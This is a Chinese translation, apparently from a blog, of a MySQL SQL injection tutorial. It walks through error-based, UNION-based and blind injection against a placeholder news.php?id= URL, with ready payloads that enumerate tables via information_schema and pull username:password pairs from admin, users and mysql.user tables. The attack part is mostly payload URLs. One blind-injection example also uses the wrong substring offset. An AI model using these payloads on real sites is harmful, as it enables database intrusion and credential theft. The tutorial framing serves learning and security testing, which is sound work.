虽然现在有很多工具已经可以实现SQL自动注入,但是学习基本的SQL原理还是很有必要的。

  在学习SQL注入的过程中,发现外国友人写了一篇很好的SQL文章,比较详细的说明SQL注入的实现,对新手来说,理解文章里面的思路,能够比较有效的入门。

  网上能够搜索到原文和翻译,但大部分翻译均为机器翻译,可读性比较差,于是花了点时间,从自身理解的角度,重新翻译了这篇文章。在翻译的过程中,有加入自己对文章的理解,因此未必逐句逐句翻译原文,一是为了自己能过加深理解,二是为了尽可能提高可读性。


  原文的题目:“SQL Injection Tutorial by Marezzi (MySQL)” 

  链接地址:https://www.exploit-db.com/papers/13045/


  以下是文章具体内容:(再次声明,下文加入自身的理解,未必逐句逐句翻译!)

--------------------------------------------------------------

  在本教程中,我将介绍如何SQL注入工程和如何用它来获取一些有用的信息。

  首先:什么是SQL注入?

  它是在网络应用中最常见的漏洞之一。它允许***者执行的网址,并取得数据库查询访问一些机密信息等..(在短期内)。

  1.SQL注入(典型的)

  2.Blind SQL注入(较难的部分)


  1.SQL注入

  

  1). 检查漏洞

  比方说,我们有一些这样的网站

http://www.site.com/news.php?id=5

  现在我们在末尾添加一个引号(')(quote)来测试该链接是否可***的SQL注入漏洞,如下所示

http://www.site.com/news.php?id=5'

  如果我们获得一些类似如下的错误,这意味着存在SQL注入***:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."


  2). 查找的列数

  为了找到“列”的数量,我们使用ORDER BY语句(告诉数据库如何列出搜索的结果)。因此如何使用?我们只要逐渐增加排序的列数,直到我们找到一个错误为止,如下所示:

http://www.site.com/news.php?id=5 order by 1   /* <-- 没有错误 
http://www.site.com/news.php?id=5 order by 2   /* <-- 没有错误 
http://www.site.com/news.php?id=5 order by 3   /* <-- 没有错误 
http://www.site.com/news.php?id=5 order by 4   /* <-- 错误:Unknown column '4' in 'order clause'

  这意味着,它有3列,所以按照第4列来排列MYSQL会报错。


  3).使用UNION操作符来检查

  通过UNION操作符,我们可以通过一个select SQL语句获取更多的数据。

  所以我们可以有以下操作:

http://www.site.com/news.php?id=5 union all select 1,2,3

  提示: 如果语句不能正常执行或者出现报错,尝试在语句后面添加 “--” 注释符,表示后面的语句不再执行。 

  因为我们已经在第二步确定列的数量为3,所以这里只列了3列。如果我们在屏幕上看到一些数字,例如,1或2或3,就说明UNION已经生效了。


  4). 检查MySQL的版本


上述那条命令对我们是否继续下面工作非常重要,如果说,我们在屏幕上数字是“2”,现在需要检查MYSQL的版本,我们把语句中的数字“2”替换成“@@version”或者“version()”,然后我们能够得到类似“4.1.33-log or 5.0.45”的信息,SQL语句如下所示:

http://www.site.com/news.php?id=5 union all select 1,@@version,3

  如果你得到类似这样一个错误

"Illegal mix of collations 'UNION' (IMPLICIT + COERCIBLE) ..."

  我们需要的是“convert()”函数,例如像下面这样:

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3

  或者使用“hex()” 函数和“unhex()”函数对数据类型进行转换,如下所示:

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3

  这样你就可以得到MySQL版本信息。


  5). 获取表名和列名

  如果MySQL的版本号< 5,例如 4.1.33, 4.1.12(我将会在后续介绍MYSQL版本号>5)。我们必须猜测表和列在大多数情况下的名称。常用的表名有:“user/s”,“admin/s”,“member/s”,常用的列名有:“username”,“user”,“usr”,“user_name”,“password”,“pass”,“passwd”,“pwd”等等...于是有以下语句:

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin

  我们看到数字“2”,像之前列子一样出现在屏幕上,这是就是语句正常执行了。如果没有报错,我们就知道“admin”这张表是存在的。现在我们来检查列的名:

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin

  如果你得到错误提示,就尝试另外一个列名。如果“admin”表是存在的,而且该表存在“username”字段,通过上述语句,我们就可以从屏幕上看到“username”字段下的内容,例如“admin”或者“superadmin”等其他用户名。

接着我们来查找是否有保存密码的列:

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin

  如果你得到错误提示,就尝试另外一个列名。我们可以在屏幕上看到散列(hash)的密码或者明文(plain-text)的密码。这取决于数据库的设置,例如MD5哈希,MYSQL哈希,sha1等等..

现在我们为了让结果更友好易读,我们必须完成这个查询。我们可以使用的“CONCAT()”函数,可以将几个字段合并在一起,如下所示:

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin

  请注意,我把0x3a添加到其中一个字段,其十六进制值为":"(所以0x3a是冒号“:”)的十六进制值);还有另外一种方式,因为":"的ascii值为58,因此char(58)同样表示“:”,如下所示,实现的效果和上一个例子相同:

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin

  现在我们从屏幕上得到“username:password”,例如“admin:admin”或者“admin:somehash”,如果你有了这些信息,你可以尝试用管理员或超级管理员登陆。如果你不能正常猜到表的名称,你可以尝试默认的表名“mysql.user”,它使用“user”和“password”作为列名,因此你可以执行以下语句:

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user

 

  6).获取MySQL5表名和列名

  正如我以前说过我接着解释如何获得MYSQL5的表和列名。为此,我们需要“INFORMATION_SCHEMA”这张表,它拥有所有的数据库的表和列。如果需要从information_schema.tables获取表名,我们可以这样:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables

  这里我们用“table_name”替换数字“2”来获取information_schema.tables的所有表(注:原文中是"the first table",与前后文表达意思不符,实际测试通过该命令获取的是所有表,估计是笔误)。

  现在,我们必须补充limit语句来列出第一张表。

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1

 请注意,我把“limit”置为“0,1”,意思是:“从第0行取1个结果”。

  现在,为查看第二个表,我们把“limit”由“0,1”改为“1,1”,即可显示第二个表名,如下:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1

  同理,我们要显示第三个表名,我们可以设置“2,1”,如下:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1

  不断增加数字,知道你得到一些有用的表名,例如db_admin, poll_user, auth, auth_user 等等。

  可以通过同样的方法获取列名,在这里我们使用“column_name”字段和“Information_schema.columns”表来获取列的名称,获取方法与上面例子是相同的。例如以下例子显示第一列:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1

  要显示第二列名,我们可以这样:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1

  这样第二列就出来了,所以,可以一直增加数字,直到获取你想要的列名,例如:"username","user","login","password","pass","passwd"等等...

  如果您想要显示特定表中的列,可以使用where语句查询的列名。例如查找"users"这个表名,可以用以下语句:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'

  现在我们得到"users"表中的列的名称。通过"limit"语句,就可以遍历该表中所有的列。

  请注意,如果magic quote生效的情况下,上述是不能生效的。我们还是回到刚才的例子,我们要查找"user""pass"和"email"三个列名,可以通过concat()语句将他们放在一起,有如下语句:

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users

  我们可以从"users"表中得到"user:pass:email"这样形式的结果,例如"admin:hash:whatever@blabla.com"


 

  2.SQL盲注(Blind SQL Injection )


  盲注比普通的注入复杂多一点,但依然是可以做到的。我必须提到,xprog有一份非常好的SQL盲注的教程,所以去读一下不是什么坏事。

  让我们开始这个高级的东西,我还会使用我们的例子来讲解。

http://www.site.com/news.php?id=5

  当我们执行这个页面,我们可以看到一些页面,在页面中有文章图片之类的东西。然后我们想用SQL盲注***来测试这个页面。

http://www.site.com/news.php?id=5 and 1=1

  这总是正确的(注:此处指"1=1"这个表达式),因此返回的结果为真,所以这个页面能够正常加载,那就OK了。

  现在开始测试:

http://www.site.com/news.php?id=5 and 1=2

  这是不成立的(注:此处指"1=2"这个表达式),因此返回的结果为假,所以,如果执行此语句后,页面上一些文本、图片或者其他内容缺失了,就可以说这个网站存在SQL盲注的漏洞。


  1) 获取MySQL版本

  我们在SQL盲注中使用substring()函数来获取版本,例如:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

  如果版本是"4",则上述语句返回的结果是TRUE,把"4"换成"5",如果返回结果为TRUE则版本为5,如下:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


  2)测试嵌套查询是否可用

  如果select不可用,我们可以用subselect,如下:

http://www.site.com/news.php?id=5 and (select 1)=1

  如果页面正常加载,则说明嵌套查询是可运行的。接着我们看看如何获取mysql.user这种表。

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

  如果能够正常加载,我们可以获取mysql.user这个表,接着可以通过load_file()函数添加(pull)密码。


  3).检查表名和列名

  这一部分,最好是靠猜测,例如:

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

  此处语句中"limit 0,1"返回1条记录行,因此subselect只返回1行,这是非常重要的。如果这个页面能够正常加载,而在页面上没有内容缺失,那么users表是存在的。如果这个页面能够加载,但页面内容有所缺失,继续猜测其他表名,直到我们猜测到正确的表名。于是我们得到表的名称是"users",接着我们需要列的名。

  与猜测表名相同,我们开始猜测在前面提到的常见的列名,例如:

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

  如果页面正常加载,可以得知列名是"password",如果页面内容有缺失,我们需要继续猜测其他列的名称。这里我们将"1"和"password"列合并在一起,substring()函数返回(,1,1)第一个字符"1",因此表达式成立,所以能够正常加载页面。


  4). 获取表中的内容(Pull data from database)

  我们已经找到表名"users"和列名"username"、"password",这样我们可以把数据从数据库中拉出来(就是把获取表中的数据)。如下:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

  这个语句可以获取"users"表"username"列中的第一条记录的第一个字符,这里的substring()语句返回第1个字符开始的且长度为1的字符,ascii()语句将这个字符转换成ASCII码的值,然后用大于号">"做比较,如果这个字符的ascii码的值大于80,那么这个页面加载正常。我们不断增加这个数字(80),直到页面不能正常加载。于是有以下:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

  页面正常加载,我们继续增加。

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

  还是一样,继续增加。

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

  此时如果页面不能正常加载,则该表中username这列中的第一个字符是char(99),使用ascii码转换器可以得知char(99)的字母是“c”。

  接着,我们来获取第二个字符:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

  注意,这里我把substring语句中的“,1,1”变成",2,1",现在该语句返回“从第2个字符开始且长度为1”的字符。

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

  结果为真,页面正常加载。

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

  不能正常加载,需要尝试更小的数字

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

  正常加载,尝试更大的数字

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

  不能加载!

  于是我们知道第二个字符是char(105),即字符“i”。到目前为止,我们知道前两个字符是“ci”。

因此继续增加数字,直到结束。(当“>0”时不能正常加载页面,所有我们已经到最后的字符了)

  

  还有一些SQL盲注的工具,我认为sqlmap是最好的盲注工具了,但我依然尽可能尝试手动的方式。因为想有更好的SQL注入。

  希望你能够从这篇文章学到东西。

  Have FUN!

--------------------------------------------------------------------


  以上是全文,文章由简入深,一步一步阐明SQL注入的方法和思路。

  由于测试的这个网站是不存在的,所以没有办法提供截图来展示,但可以开一个数据库,照着思路一步一步做,是能够看出效果的。


  读者如果对此有什么疑问,欢迎交流学习。